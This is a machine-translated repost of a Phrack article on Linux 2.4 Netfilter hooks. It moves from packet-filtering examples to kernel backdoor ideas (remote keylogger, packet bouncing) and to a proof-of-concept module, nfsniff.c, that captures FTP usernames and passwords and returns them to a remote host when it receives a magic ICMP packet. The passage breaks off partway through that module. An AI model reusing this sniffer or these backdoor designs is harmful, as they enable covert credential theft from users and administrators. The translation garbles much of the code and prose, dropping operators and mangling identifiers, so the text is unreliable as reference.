(Reproduced) Deeper Linux Network Core Stack (on)

xiaoxiao2021-03-06  72

Deepen Linux Network Core Stack (on) transferred from:

http://www.xfocus.net

Creation time: 2003-08-22

Article attribute: translation

Article submission:

Raodan (Raod_at_30san.com)

== phrack inc. ==

Volume 0x0b, Journal No. 0x3D, Phile # 0x0d of 0x0f

| = --------------------- = [in-depth Linux network core stack] = ------------------ ----- = |

| = ------------------------------------------------ ----------------------- = |

| = ------------------ = [Bioforge ] = ------------------ - = |

| = ------------------------ = ------------------- ----------- = |

table of Contents

1 Introduction

1.1 - This article involves the content

1.2 - content involved in this article

2 - Various NetFilter Hook and their usage

2.1 - Linux kernel's processing of packets

2.2 - Netfilter to IPv4 Hook

3 - Register and log out of Netfilter Hook

4 - Netfilter Basic Datasheet Filtering Technology [1]

4.1 - Deep into the hook function

4.2 - Filtration based on the interface

4.3 - Filtration based on the address

4.4 - Filtration based on TCP port

5 - other possible usage of Netfilter Hook

5.1 - Guarding process hidden in the back door

5.2 - Nuclear-based FTP password sniffer

5.2.1 - Sourcecodes: nfsniff.c

5.2.2 - Source code: getpass.c

6 - Hide network communication in LibPCAP

6.1 - SOCK_PACKET, SOCK_RAW and LIBPCAP

6.2 - Give a wolf to the sheepskin

7 - Conclusion

A - lightweight firewall

A.1 - overview

A.2 - Source code: lwfw.c

A.3 - Header file: lwfw.h

B - Sourcecodes in Section 6

--[ 1 Introduction

This article will show you that some weird behavior of Linux network stack (not a weakness) how to be used for evil or other equivalents. It will be discussed here that Netfilter Hook that looks legally on the surface is used for the back door communication, and a technique that communicates a particular network communication in the LibpCap-based sniffer in the unit.

Netfilter is a subsystem of the Linux 2.4 kernel. Netfiler makes skills such as packet filtering, network address translation (NAT), and network connection tracking. These functions can only be used by all kinds of HOOKs provided using kernel network code. carry out. These hooks are in the kernel code, or the static link is either exist in the form of a dynamically loaded module. You can register the corresponding callback function for the specified network event, and the reception of the packet is such an example.

---- [1.1 - the content involved in this article

This article discusses how module writers use NetFilter Hook to implement any purposes and how to communicate network communication in LIBPCAP-based applications. Although Linux 2.4 supports HOOK for IPv4, IPv6, and Decnet, this will only discuss topics about IPv4, although most of the contents of IPv4 can also be applied to other protocols. For the purpose of teaching, Appendix A provides a kernel module that provides basic package filtration. All developments and trials in this article are completed in Linux 2.4.5 running on the Intel host. Tests for the Netfilter Hook function are done on the loopback interface, the Ethernet interface, and the modem point. This article is also written for my interested in Netfilter's fully understood. I can't guarantee that any code included in the article is not a mistake, but I have tested all the code provided here. I have been suffering enough to get the core mistake, so sincerely hope that you will not be like this. Similarly, I don't take responsibility for any damage that may occur in operations described herein. This article assumes that the reader is familiar with C language programming and has a certain experience of loading modules.

Welcome to criticize the errors in this article, I will also open up the advice on this paper and other various good techniques for Netfilter.

---- [1.2 - content involved in this article

This article is not a complete reference material on the details of Netfilter, which is not a reference for the command of iptables. If you want to know more about iptables, please refer to the relevant man page.

Ok, let us start from the use of Netfilter ...

- [2 - Various NetFilter Hook and its use

---- [2.1 - Processing of Packets for Packets in Database

It seems that I really like to go deep into packet processing, such as Linux, and the occurrence of events, and tracking the bloody details of every Netfilter Hook, this is not the case! The reason is very simple, and HARALD WELTE has written an excellent article on this topic - "Journey of A Packet Through The Linux 2.4 Network Stack". If you want to know more about Linux packet processing, I highly recommend you to read this article. Now, just understand: When the data package travels the network stack of the Linux kernel, it passes through several hook points, here, the packet can be analyzed and the choice is reserved or discarded, these Hook points are Netfilter Hook.

---- [2.2 - Netfilter to IPv4 HOOK

The Netfilter defines five hooks about IPv4, which can be found in Linux / NetFilter_IPv4.h. These hook columns in the table below:

Table 1: IPv4 hook available

Hook calling time

NF_IP_PRE_ROUTING After the integrity check, the selection is determined

NF_IP_LOCAL_IN After the selection is determined, and the purpose of the packet is the local host

NF_IP_FORWARD Destination is other host data packets

NF_IP_LOCAL_OUT The packet from the native process is in the process of leaving the local host.

NF_IP_POST_ROUTING before the packet left the local host "Online"

NF_IP_PRE_ROUTING This hook is the first HOOK called after the packet is received. This hook is not used in the module to be described later. Of course, other hooks are also very useful, but here, our focus is on NF_IP_PRE_ROUTING this hook.

After the Hook function completes any of the operations required for the packet, they must return one of the following predefined NetFilter return values: Table 2: Netfilter Return Value

Return value meaning

NF_DROP discards the packet

NF_ACCEPT Reserved the packet

NF_STOLEN forgets the packet

NF_QUEUE inserts the packet into the user space

NF_REPEAT calls the HOOK function again

NF_DROP The meaning of this return value is that the packet will be completely discarded, and all resources allocated should be released. NF_ACCEPT This return value tells NetFilter: So far, the packet is still accepted and the packet should be submitted to the next stage of the network stack. Nf_stolen is an interesting return value because it tells Netfilter, "Forget" this packet. Here, tell Netfilter is: The Hook function will start processing for packets from this, and NetFilter should give it to do anything to the packet. However, this does not mean that the resources of the packet have been released. This packet and its own SK_BUFF data structure are still valid, just the hook function gets the ownership of the packet from Netfilter. Unfortunately, I am not completely clear, if I work, I don't discuss it here. The last return value nf_repeat requests Netfilter to call this hook function again. Obviously, the user should use NF_Repeat to return to the return value to avoid death cycles.

- [3 - Register and log out of Netfilter HOOK

Registering a hook function is a very simple operation around the NF_HOK_OPS data structure, the NF_HOOK_OPS data structure is defined in Linux / NetFilter.h, which is defined as follows:

Struct nf_hook_ops {

Struct list_head list;

/ * This value is filled by the user * /

NF_HOOKFN * HOOK;

INT PF;

Int hooknum;

/ * Hook Sort by ascending priority * /

Int priority;

}

The List member in this data structure is used to maintain a list of Netfilter Hook and is not the focus of users who need to care when registering hook. The Hook member is a pointer to the NF_HOOKFN type function, which is the function that is executed when this Hook is called. NF_HOOKFN is also defined in Linux / NetFilter.h. PF This member is used to designate the protocol. The effective protocol is listed in Linux / Socket.h, but for IPv4 we want to use the protocol family PF_INET. Hooknum This member is used to specify the specific HOOK type corresponding to the installed function, which is one of the values ​​listed in Table 1. Finally, the Priority member is used to specify in the order in which this hook function should be placed. For IPv4, available values ​​are defined in the NF_IP_HOOK_PRIORISIES enumeration enumeration of Linux / Netfilter_IPv4.h. For demonstration purposes, we will use NF_IP_PRI_FIRST in the back module.

Registering a Netfilter Hook requires calling the nf_register_hook () function, as well as an NF_HOOK_OPS data structure. The nf_register_hook () function is used as the address of an NF_HOOK_OPS data structure and returns a integer value. However, if you really look at the NF_REGITER_HOOK () function of NET / CORE / NETFILTER.C, you will find that the function always returns 0. The following is provided with an example code, which simply registers a function that discards all arriving packets. This code also shows how Netfilter's return value is parsed. Sample Code 1: Registration of Netfilter Hook

/ *

* Install an example code for discarding all Netfilter hook functions of all arriving packets

* /

#define __kernel__

#define module

#include

#include

#include

#include

/ * Data structure for registering our functions * /

STATIC STRUCT NF_HOOK_OPS NFHO;

/ * Implementation of the Hook function of / * * /

Unsigned int hook_func (unsigned int hooknum,

Struct SK_Buff ** SKB,

Const struct net_device * in,

Const struct net_device * out,

INT (* okfn) (STRUCT SK_BUFF *))

{

Return nf_drop; / * Discard all packets * /

}

/ * Initializer * /

INT init_module ()

{

/ * Fill our HOOK data structure * /

Nfho.hook = hook_func; / * handler * /

nfho.hooknum = nf_ip_pre_routing; / * Using IPv4's first hook * /

NFHO.PF = PF_INET;

NFHO.PRIORITY = NF_IP_PRI_FIRST; / * Let our function first execute * /

NF_REGISTER_HOOK (& nfho);

Return 0;

}

/ * Clear program * /

Void cleanup_module ()

{

NF_UNREGISTER_HOOK (& nfho);

}

This is all content, from the sample code 1, you can see, logout a netfilter hook is a very simple thing, just call the nf_unregister_hook () function, and use the same for you to register this HOOK The address of the data structure is used as a parameter.

- [4 - Netfilter basic datagram filter technology

---- [4.1 - In-depth HOOK function

It is now to see what data is passed to the hook function and how these data is used to do filtering. So let us see the prototype of the NF_HOOKFN function more deeper. This function prototype is given in Linux / Netfilter.h, as follows:

Typedef unsigned int nf_hookfn (unsigned int hooknum,

Struct SK_Buff ** SKB,

Const struct net_device * in,

Const struct net_device * out,

INT (* okfn) (STRUCT SK_BUFF *));

The first parameter of the NF_HOOKFN function is used to specify one of the hook types given in Table 1. The second parameter is more interesting, it is a pointer to the pointer, the pointer pointing to the pointer points to a SK_BUFF data structure, the network stack describes the SK_BUFF data structure to describe the packet. This data structure is defined in Linux / Skbuff.h, because it's too much, here I will only list some of the meaningful parts. The most useful part of the SK_BUFF data structure may be the three descriptions of transport layer headers (eg, UDP, TCP, ICMP, SPX), network layers (eg, IPv4 / 6, IPX, RAW), and link layers (for example : Union of Ethernet or RAW). These three combined names are H, NH, and Mac. These combination contain several structures depending on the protocol used in the specific packet. Users should note that the transport layer clamp and network layers may be the same location to the memory. This is the case where the TCP packet may occur, where H and NH should be seen as a pointer to the IP header structure. This means that attempts to get a value via H-> TH and think that the pointer points to a TCP header, which will get the result of the error. Because h-> th is actually pointing to the IP header, the results obtained from NH-> iPh are the same.

The other part of our interest is the two domains of Len and Data. LEN specifies the total length of the data in the packet starting from the DATA. Ok, now we know how to access data in the protocol head and packets in the SK_Buff data structure. What is the other interesting part in the Netfilter hook function?

The two parameters followed after SKB are pointers to the NET_DEVICE data structure, and the NET_DEVICE data structure is used by the Linux kernel to describe all types of network interfaces. The first-in-in-in-in-in-in-in, which is used to describe the interface reachable, and the parameter OUT is used to describe the interface where the packet leaves. It must be understood that in general, there will be only one of these two parameters. For example, the parameter I is only used for NF_IP_PRE_ROUTING and NF_IP_LOCAL_IN HOOK, and the parameter OUT is only used for NF_IP_LOCAL_OUT and NF_IP_POST_ROUTING HOOK. In this stage, I haven't tested for NF_IP_FORWARD HOOK, which are valid in these two parameters, but if you can determine these pointers before use, then you are very good!

Finally, the last parameter passed to the HOOK function is a named OKFN function pointer, which is a unique parameter in one SK_BUFF data structure and returns an integer value. I am not very sure that this function is to use, view in Net / Core / NetFilter.c, and this OKFN function is called in two places. These two places are in a function nf_hook_slow (), respectively, in a certain location, where the NetFilter Hook is called when NETFILTER HOOK is NF_ACCEPT. If anyone has more information about the OKFN function, be sure to tell.

** Translation: Linux core network stack has a global variable: struct list_head nf_hooks [nproto] [NF_MAX_HOOKS], this variable is a two-dimensional array, where the first dimension is used to designate the protocol, the second dimension is used to specify HOOK Type (Types defined in Table 1). Registering a Netfilter Hook is actually added to a new node in the list identified by the protocol and Hook type.

The following code is taken from NET / CORE / NETFILTER, the implementation of the nf_register_hook () function: int NF_REGISTER_HOOK (Struct NF_HOOK_OPS * REG)

{

Struct List_Head * i;

BR_WRITE_LOCK_BH (BR_NETPROTO_LOCK);

For (i = nf_hooks [reg-> pf] [reg-> hooknum] .next;

I! = & nf_hook [REG-> PF] [REG-> hooknum];

i = I-> Next) {

IF (Reg-> Priority <(Struct NF_HOK_OPS *) i) -> priority

Break;

}

List_add (& reg-> list, i-> prev);

BR_WRITE_UNLOCK_BH (Br_NetProto_lock);

Return 0;

}

A macro NF_HOOK is defined in the Netfilter, the author mentioned earlier is actually an object of the NF_HOOK macro definition, and executes the registered Hook function in the NF_HOOK. NF_HOOK is called at the appropriate parameter in the appropriate parameters of the LINUX core network stack. For example, at the last part of the IP_RCV () function (located in NET / IPv4 / IP_INPUT.C), the NF_HOOK function is called, and the hook of the NF_IP_PRE_ROUTING type is executed. IP_RCV () is a major function for receiving IPv4 packets in the Linux core network stack. In the NF_HOOK parameters, the page contains an OKFN function pointer, which is used for subsequent operations after the packet is received, such as the OKFN function pointer in the NF_HOOK called in the IP_RCV (located in NET / IPv4). /IP_INPUT.C), which is used for subsequent processing such as IP option processing after IP packets.

If the CONFIG_NETFILTER macro definition is canceled in the kernel compilation parameter, the NF_HOOK macro definition is replaced with OKFN. The relevant parts of the kernel code are as follows (Linux / Netfilter.h):

#ifdef config_netfilter

...

#ifdef config_netfilter_debug

#define nf_hook nf_hook_slow

#ELSE

#define nf_hook (PF, HOOK, SKB, INDEV, OUTDEV, OKFN) /

(List_empty (& NF_HOOKS [(PF)] [(hook)) /

(OKFN) (SKB) /

: NF_HOOK_SLOW ((PF), (SKB), (OUTDEV), (OKFN)))))

#ENDIF

...

#ELSE / *! config_netfilter * /

#define nf_hook (PF, HOOK, SKB, INDEV, OUTDEV, OKFN) (OKFN) (SKB)

#ENDIF / * Config_Netfilter * /

It can be seen that the OKFN function is indispensable. When NetFilter is enabled, it is used to complete the subsequent operation after the received packet. If NetFilter does not enable packet filtering, all packets are accepted, and the function is called directly. Do follow up.

** Translation

Now, we have learned the most interesting and most useful parts of our hook function to receive information. It is time to see how we use this information to filter packets in a variety of ways! ---- [4.2 - Filtration based on the interface

This should be the simplest filtering technology we can do. Remember those NET_DEVICE data structures in the parameters received by our hook function? With the Name of the NET_DEVICE data structure, you can choose whether to discard it according to the source interface and destination interface of the packet. If you want to discard all packets that arrive at the interface Eth0, all you need to do is compared to "Eth0", if the name matches, then the hook function is simple to return NF_DROP, the data package is Automatic destruction. It is so simple! The sample code to complete this feature see the following sample code 2. Note that the Light-Weight Firewall module will provide a simple example of all filtration methods mentioned herein. It also includes an IOCTL interface and an application for dynamically changing its characteristics.

Sample Code 2: Packet filtering based on the source interface

/ *

* Install a sample code for the Netfilter hook function that discards all the packets that go to our specified interface

* /

#define __kernel__

#define module

#include

#include

#include

#include

#include

/ * Data structure for registering our functions * /

STATIC STRUCT NF_HOOK_OPS NFHO;

/ * We discarded the name of the interface from the interface * /

Static char * DROP_IF = "LO";

/ * Implementation of the Hook function of / * * /

Unsigned int hook_func (unsigned int hooknum,

Struct SK_Buff ** SKB,

Const struct net_device * in,

Const struct net_device * out,

INT (* okfn) (STRUCT SK_BUFF *))

{

IF (strcmp (in-> name, drop_if) == 0) {

Printk ("Dropped Packet On% S ... / N", DROP_IF);

Return nf_drop;

} else {

Return nf_accept;

}

}

/ * Initializer * /

INT init_module ()

{

/ * Fill our HOOK data structure * /

Nfho.hook = hook_func; / * handler * /

nfho.hooknum = nf_ip_pre_routing; / * Using IPv4's first hook * /

NFHO.PF = PF_INET;

NFHO.PRIORITY = NF_IP_PRI_FIRST; / * Let our function first execute * /

NF_REGISTER_HOOK (& nfho);

Return 0;

}

/ * Clear program * /

Void cleanup_module ()

{

NF_UNREGISTER_HOOK (& nfho);

}

Is not it simple? Next, let's take a look at the filter based on the IP address.

---- [4.3 - Filter based on the address

Similar to the interface according to the data packet, it is equally simple to filter the source or destination IP address of the packet. This time we are interested in the SK_BUFF data structure. Remember that the SKB parameter is a pointer to a pointer to the SK_BUFF data structure? To avoid errors, a pointer to the SKB_BUFF data structure is declared and the pointer points to the SKB pointer to this new pointer is a good habit, just like this: struct SK_BUFF * SB = * SKB; / * Remove 1 Level Of indirection * /

In this way, you only need to reverse the element when you visit this data structure. Getting a packet's IP header is done by using the network layer header in the SK_BUFF data structure. This head is in a joint, which can be accessed in a manner in SK_Buff-> NH.IPH. The function in the sample code 3 demonstrates how to use it to check the source IP address of the received packet to check if the source IP address of the received packet is the same. These codes are taken directly from the LWFW, and the only difference is the update of the LWFW statistics is removed.

Sample Code 3: Check the source IP of the received packet

Unsigned char * deny_ip = "/ x7f / x00 / x00 / x01"; / * 127.0.0.1 * /

...

Static int check_ip_packet (struct SK_Buff * SKB)

{

/ * We don't want Any null Pointers in the chain to

* The ip header. * /

IF (! SKB) RETURN NF_ACCEPT;

IF (! (SKB-> NH.IPH)) RETURN NF_ACCEPT;

IF (SKB-> NH.IPH-> Saddr == * (unsigned int *) denY_IP) {

Return nf_drop;

}

Return nf_accept;

}

Thus, if the source address of the packet matches the address of the dropped packet we set, the packet will be discarded. In order to make this function work in a expected manner, the value of DENY_IP should be stored in the network word sequence (opposite Big-endian, opposite to Intel). Although this function is unlikely to call with an empty pointer as a parameter, bring a little parallel and crazy. Of course, if the error does happen, the function will return nf_accept. This NetFilter can continue to process this packet. Sample Code 4 shows a simple module for demonstrating the interface-based filtering based filtering to discard packets that match the given IP address.

Sample Code 4: Filter based on the data package source address

/ * Installation Discard All sample code for Netfilter Hook from the packet of the specified IP address * /

#define __kernel__

#define module

#include

#include

#include

#include / * for ip header * /

#include

#include

/ * Data structure for registering our functions * /

STATIC STRUCT NF_HOOK_OPS NFHO;

/ * We have to discard the packet from the address, network word sequence * /

Static unsigned char * DROP_IP = "/ x7f / x00 / x00 / x01";

/ * Implementation of the Hook function of / * * /

Unsigned int hook_func (unsigned int hooknum, struct sk_buff ** SKB,

Const struct net_device * in,

Const struct net_device * out,

INT (* okfn) (STRUCT SK_BUFF *))

{

Struct SK_BUFF * SB = * SKB;

// Demo: The method of comparing the same address in the code provided is wrong, see the part of the comment

IF (SB-> NH.IPH-> Saddr == * (unsigned int *) Drop_ip) {

// if (SB-> NH.IPH-> Saddr == Drop_ip) {

Printk ("Dropped packet from ...% d.% d.% d.% d / n",

* DROP_IP, * (Drop_ip 1),

* (DROP_IP 2), * (DROP_IP 3));

Return nf_drop;

} else {

Return nf_accept;

}

}

/ * Initializer * /

INT init_module ()

{

/ * Fill our HOOK data structure * /

Nfho.hook = hook_func; / * handler * /

nfho.hooknum = nf_ip_pre_routing; / * Using IPv4's first hook * /

NFHO.PF = PF_INET;

NFHO.PRIORITY = NF_IP_PRI_FIRST; / * Let our function first execute * /

NF_REGISTER_HOOK (& nfho);

Return 0;

}

/ * Clear program * /

Void cleanup_module ()

{

NF_UNREGISTER_HOOK (& nfho);

}

---- [4.4 - Filtration based on TCP port

Another simple rule to be implemented is filtered based on the TCP destination port of the packet. This is only a little bit more than checking the IP address, as we need to create a TCP header pointer. Remember the contents of our headed head and network layers before we discussed earlier? Getting a TCP header is a simple thing - assign a pointer to a TCPHDR data structure (defined in Linux / TCP.H) and pointing it to the IP header in our packet. Perhaps an example of an example is more, the sample code 5 gives the code that checks if the TCP destination port of the packet is matched with a port that we want to discard the packet. As with sample code 3, these code is taken from LWFW.

Sample Code 5: Check the TCP destination port of the received packet

Unsigned char * deny_port = "/ x00 / x19"; / * port 25 * /

...

Static int check_tcp_packet (struct SK_Buff * SKB)

{

Struct TCPHDR * TCPHDR * THEAD;

/ * We don't want any null pointers in the chain

* to the ip header. * /

IF (! SKB) RETURN NF_ACCEPT;

IF (! (SKB-> NH.IPH)) RETURN NF_ACCEPT;

/ * Be Sure this is a tcp packet first * /

IF (SKB-> NH.IPH-> Protocol! = ipproto_tcp) {

Return nf_accept;

}

THEAD = (STRUCT TCPHDR *) (SKB-> DATA

(SKB-> NH.IPH-> IHL * 4)); / * Now Check The Destination Port * /

IF ((THEAD-> DEST) == * (unsigned short *) deny_port) {

Return nf_drop;

}

Return nf_accept;

}

It is really simple! Don't forget, let this function work, Deny_Port must be a network word sequence. This is the basis of packet filtering, you should understand how to get information you want for a specific packet. Now, it's time to enter more interesting content!

- [5 - other possible usage of Netfilter Hook

Here, I will present some other cooked ideas, 5.1 sessions will give simple food, and 5.2 will discuss and give the code that can work based on kernel-based FTP password sniffer code, it Remote password acquisition functions are really available. In fact, it works to be surprised, and I wrote it.

---- [5.1 - Hidden home guards

The core module programming may be one of the most interesting parts of Linux development, writing code in the kernel means you write code only by your imagination. From a malicious point of view, you can hide files, processes, and do everything that is cool, any Rootkit can do. So, in the point of view of not very malicious, it is true that people do it in this point of view), you can hide files, processes, and dry all kinds of things. The kernel is really a charming paradise!

With the powerful power given the internal nuclear level, many things are possible. One of the most interesting (also letting system administrators panic) one is the back door embedded in the kernel. After all, if the latter is not running as a process, then how do we know how it is running? Of course, there is still a way to make your kernel out of this back door, but they are not as easy as and simple as running the PS command. Today, the idea that the back door code is placed in the kernel is not new. However, I am now proposed here to place a simple network service used as a latter door. You guessed, it is Netfilter Hook!

If you already have the necessary skills and wish to make your kernel collapse, you can build simple but useful, completely in the kernel, which can be accessed remotely. Basically, a Netfilter Hook can find a "magic" packet by observing the received packet, and doing the specified matter when receiving this "Magic" packet. The result can be sent by Netfilter Hook. And the hook function can return NF_STOLEN to make the "magic" packet you can go further. However, it should be noted that when sending in this way, the output data package is still visible to the output Netfilter Hook. Therefore, the user space does not know that this "magic" packet has arrived, but they can still see you sent. Beware! Because the sniffer on the leakage host can't see this package does not mean that the odor can not see this package on other intermediate host hosts.

Kossak and Lifeline have written a wonderful article for Phrack, which describes how to complete such functions by registering a packet type processor. Although this article involves Netfilter Hook, I still recommend reading their articles (No. 55, document 12), because it is an interesting reading of some very interesting ideas.

So, what work can the back door Netfilter Hook? Here are some suggestions:

- Remote Access Key-Logger. The module record keys, and when the remote host sends a PING request, the result is sent to the host. In this way, a stream of hitting information similar to a stable (non-flood) PING response can be generated. Of course, you may want to achieve a simple encryption, so that the ASCII button will not immediately expose themselves, and some alert system administrator will want: "Stick, I used to type through my SSH conversation. ! OH $% @ t% &! ". - Various simple administrators tasks, such as gettings a list of users currently logged in to the host or for information on the open network connection.

- Not a real back door, but is a module in the network boundary, and block any communication that is suspected from Trojan, ICMP hidden channel or document sharing tool like Kazaa.

- File Transfer "Server". I have recently realized this idea, which caused Linux core programming is a few hours of fun :)

- Packet jump. The redirected purpose is to specify the data packet of the Trojan host to other IP hosts and ports, and send back the packet from that host to the initiator. There is no process being derived, and the most wonderful is that there is no network socket being opened.

- The data packets described above are used to communicate with a critical system in the network. For example: Configure a router, etc..

- FTP / POP3 / TELNET Password. Sniff the output password and save related information until you enter the "Magic" packet requires them.

The above is just a short list of ideas, where the last idea is that we will be discussed in detail in the next section. it

Provides a good understanding of more functions in the core network code.

---- [5.2 - Nuclear-based FTP password sniffer

It is a simple, principled, a module that is used as a Netfilter back door. The module sniffer outputs the output FTP packet to find a user for an FTP server on the pass command pair. When such a command is discovered, the module will wait for a "magic" ICMP ECHO (PING) packet, which should be large enough to return the server's IP address, username, and password. At the same time, it provides a quick send a "magic" packet to get the tip that returns and then prints the return information. Once the username / password is read from the module, the module will then look for the next pair. Note that the module is only saved each time. The above is a browsing, which is to show more details to see how modules do it.

When the module is loaded, the module's init_module () function is simple to register two NetFilter Hook. The first packet used to view the input (at NF_IP_PRE_ROUTING), try to discover the "Magic" ICMP packet. The next one is used to see the packet (at NF_IP_POST_ROUTING), which is searching and capturing FTP's USER and PASS packets. The Cleanup_Module () function is just simple to log out of these two hooks.

Watch_out () is a function used for hook nf_ip_post_routing, view this function. You can see that its execution is very simple. When a packet enters this function, it will pass a variety of checks to determine it is an FTP packet. If it is not an FTP packet, return to NF_ACCEPT immediately. If it is an FTP packet, then the module checks if there is already a username / password pair. If there is (non-zero value identifier in Have_Pair), then return NF_ACCEPT, which can eventually leave the system. Otherwise, the check_ftp () function is called, which is where the password extracts actually occurred. If there is no previous packet already received, the target_ip and target_port variables should be cleared. Check_ftp () begins to find "User", "Pass" or "Quit" from the start of the packet. Note that the pass command is processed until the USER command process is processed. The purpose of doing this is to prevent the passing of the deadlock caused by the pass command before the user command is received and the User arrives. Similarly, if only the username is captured if the quit command arrives, the reset operation will start sniffing a new connection. When a USER or pass command arrives, if the integrity check is passed, the parameters of the command are recorded. Under normal operation, check whether there is a valid username and password string before the check_ftp () function is completed. If so, set the value of HAVE_PAIR to be non-zero and the current username / password will not capture other usernames or passwords before being acquired.

So far you have seen this module how to install it yourself and how to start searching for the username and password to be recorded. Next, you will see what happens when the specified "Magic" packet arrives. Special attention is required here because this is the biggest problem that appears throughout the development process. If I have not remembered, I have encountered 16 core errors :). When the data packet is installed in the host of the module, Watch_in () checks each packet to see if it is a "magic" packet. If the packet cannot provide enough to prove that it is a "magic" packet, it will be ignored by Watch_in (), simply returns an NF_ACCEPT. Note One of the standards of the Magic packet is that they must have enough space to store IP addresses and usernames and password strings. This makes the send response easier. Of course, you can redistribute a new SK_BUFF, but the correct acquisition of all the necessary domains may be more difficult, and you must also get the right to get them! Therefore, a new data structure is created for our response packets, not as simple as a simple adjustment request packet. For successful return packets, you need to do a few modifications. First, switch the IP address, and the domain (pkt_type) of the packet type in the SK_BUFF data structure should be replaced with packet_outgoing, which is defined in Linux / if_packet.h. The next should be careful that it is determined that any link homer is included. The data domain of the SK_BUFF data structure we receive is directed to the link homer, and it is a data domain that pointing the data of the transmitted packet. Then, for interfaces that require link layers (Ethernet and loopback and point-to-point-to-point-to-point, we point the data field to the Mac.Ethernet or Mac.RAW structure. To determine what type of interface from this packet, you can view the value of SB-> dev-> Type, where SB is a pointer to the SK_BUFF data structure. The valid value of this domain can be found in Linux / if_arp.h, but the most useful several are listed in Table 3 below.

Table 3: Common value of interface type

Type Code Interface Type

Arphrd_ether Ethernet

Arphrd_loopback loopback device

Arphrd_ppp dot pair (such as dial)

Finally, we have to do real copying the data sent in the response we want. When the packet is sent, the dev_queue_xmit () function takes a pointer to the SK_BUFF data structure as its unique parameters, in the "Good Error", returns a negative error code. What does I mean by "good mistake"? If you give a function dev_queue_xmit () an error constructed socket buffer, you will get a "less good error" with Dump information accompanying the kernel error and kernel stack. See how the error here can be divided into two groups? Finally, Watch_in () returns NF_STolen to tell Netfilter forgetting it has seen this packet. If you have called dev_queue_xmit (), don't return NF_DROP! This is because dev_queue_xmit () will release the transferred socket buffer, and NetFilter will try to do the same operation to the NF_DROP packet. All right. For the discussion of the code is enough, please see the specific code.

------ [5.2.1 - Source code: NFSniff.c

< > nfsniff / nfsniff.c

/ * Simple Proof-of-Concept for kernel-based FTP Password Sniffer.

* A Captured Username and Password Pair Are Sent to a Remote Host

* When That Host Sends a Specially formatted ICMP Packet. Here WE

* Shall Use an icmp_echo packet whose code field is set to 0x5b

* * And * The packet HAS ENOUGH

* Space After the Headers to Fit A 4-byte ip address and the

* UserName and Password Fields Which Are A Max. of 15 Characters

* Each Plus a null byte. so a total icmp payload size of 36 bytes. * /

/ * Written by Bioforge, March 2003 * /

#define module

#define __kernel__

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define magic_code 0x5b

#define reply_size 36

#define icmp_payload_size (htons (sb-> nh.iph-> tot_len) /

- sizeof (struct iphdr) / - sizeof (struct icmphdr))

/ * THESE VALUES ARE Used to Keep The Username and Password Until

* They is queried. Only One User / Pass Pair Will Be Held At One

* Time and Will Be Clead Once Queried. * /

Static char * Username = null;

static char * password = null;

Static int have_pair = 0; / * Marks if We Already Have a pair * /

/ * Tracking information. Only log user and pass commands That Go to the

* Same IP Address and TCP port. * /

Static unsigned int target_ip = 0;

Static unsigned short target_port = 0;

/ * Used to describe ot netfilter hooks * /

Struct NF_HOOK_OPS pre_hook; / * incoming * /

Struct nf_hook_ops post_hook; / * Outgoing * /

/ * Function That Looks at an SK_BUFF THAT IS KNOWN TO BE AN FTP Packet.

* Looks for the user and pass fields and makes suheboth come from

* the one host as indeicated in the target_xxx fields * /

Static void check_ftp (struct SK_Buff * SKB)

{

Struct TCPHDR * TCP;

CHAR * DATA;

INT LEN = 0;

INT i = 0;

TCP = (STRUCT TCPHDR *) (SKB-> DATA (SKB-> NH.IPH-> IHL * 4));

DATA = (CHAR *) ((int) TCP (INT) (TCP-> DOFF * 4);

/ * Now, if we have a username already, the we have domget_ip.

* Make Sure THAS Packet Is Destined for the Same Host. * /

IF (username)

IF (SKB-> NH.IPH-> DADDR! = Target_IP || TCP-> Source! = target_port)

Return;

/ * Now Try to see if this is a user or pass packet * /

IF (Strncmp (Data, "User", 5) == 0) {/ * username * /

DATA = 5;

IF (username) return;

While (* (Data i)! = '/ r' && * (Data i)! = '/ n'

&& * (DATA I)! = '/ 0' && i <15) {len ;

i ;

}

IF ((UserName = kmalloc (Len 2, GFP_kernel) == NULL)

Return;

MEMSET (Username, 0x00, Len 2);

Memcpy (Username, Data, Len);

* (Username LEN) = '/ 0'; / * null terminate * /

Else IF (Strncmp (Data, "Pass", 5) == 0) {/ * password * /

DATA = 5;

/ * If a username hasn't been logged yet the don n't try logging

* a password * /

IF (username == null) return;

IF (Password) Return;

While (* (Data i)! = '/ r' && * (Data i)! = '/ n'

&& * (Data i)! = '/ 0' && i <15) {

Len ;

i ;

}

IF ((Password = kmalloc (Len 2, GFP_kernel) == NULL)

Return;

MEMSET (Password, 0x00, Len 2);

Memcpy (Password, DATA, LEN);

* (Password LEN) = '/ 0'; / * null Terminate * /

Else IF (Strncmp (Data, "Quit", 4) == 0) {

/ * Quit Command Received. If We Have A Username But no Password,

* Clear the username and reset everying * /

IF (Have_Pair) Return;

IF (username &&! password) {

Kfree (UserName);

Username = NULL;

Target_port = target_ip = 0;

Have_pair = 0;

Return;

}

} else {

Return;

}

IF (! target_ip)

Target_ip = SKB-> NH.IPH-> DADDR;

IF (! Target_Port)

Target_port = TCP-> Source;

IF (UserName && Password)

Have_pair ; / * Have a Pair. Ignore Others Unsil

* This Pair Has Been Read. * /

// if (Have_pair)

// Printk ("Have Password Pair! U:% S: PA / N", UserName, Password);

}

/ * Function Called As the Post_ROUTING (Last) Hook. It will Will Check for * FTP Traffic The Search That Traffic for User and Pass Commands. * /

Static unsigned int Watch_out (unsigned int hooknum,

Struct SK_Buff ** SKB,

Const struct net_device * in,

Const struct net_device * out,

INT (* okfn) (STRUCT SK_BUFF *))

{

Struct SK_BUFF * SB = * SKB;

Struct TCPHDR * TCP;

/ * Make Sure this is a tcp packet first * /

IF (SB-> NH.IPH-> Protocol! = ipproto_tcp)

Return nf_accept; / * nope, not tcp * /

TCP = (Struct TCPHDR *) (SB-> DATA) (SB-> NH.IPH-> IHL * 4));

/ * Now Check to see if it's an ftp packet * /

IF (TCP-> DEST! = HTONS (21))

Return nf_accept; / * nope, not ftp * /

/ * PARSE The FTP Packet for Relevant Information IF WE Don't Already

* Have a username and password pair. * /

IF (! Have_pair)

Check_ftp (sb);

/ * We are finished with the packet, let it go on its Way * /

Return nf_accept;

}

/ * Procedure That Watches Incoming ICMP Traffic for the "Magic" packet.

* When That Is Received, We Tweak the SKB STRUCTURE TO Send a reply

* Back to the requesting host and tell netfilter That We stole the

* packet. * /

Static unsigned int Watch_in (unsigned int hooknum,

Struct SK_Buff ** SKB,

Const struct net_device * in,

Const struct net_device * out,

INT (* okfn) (STRUCT SK_BUFF *))

{

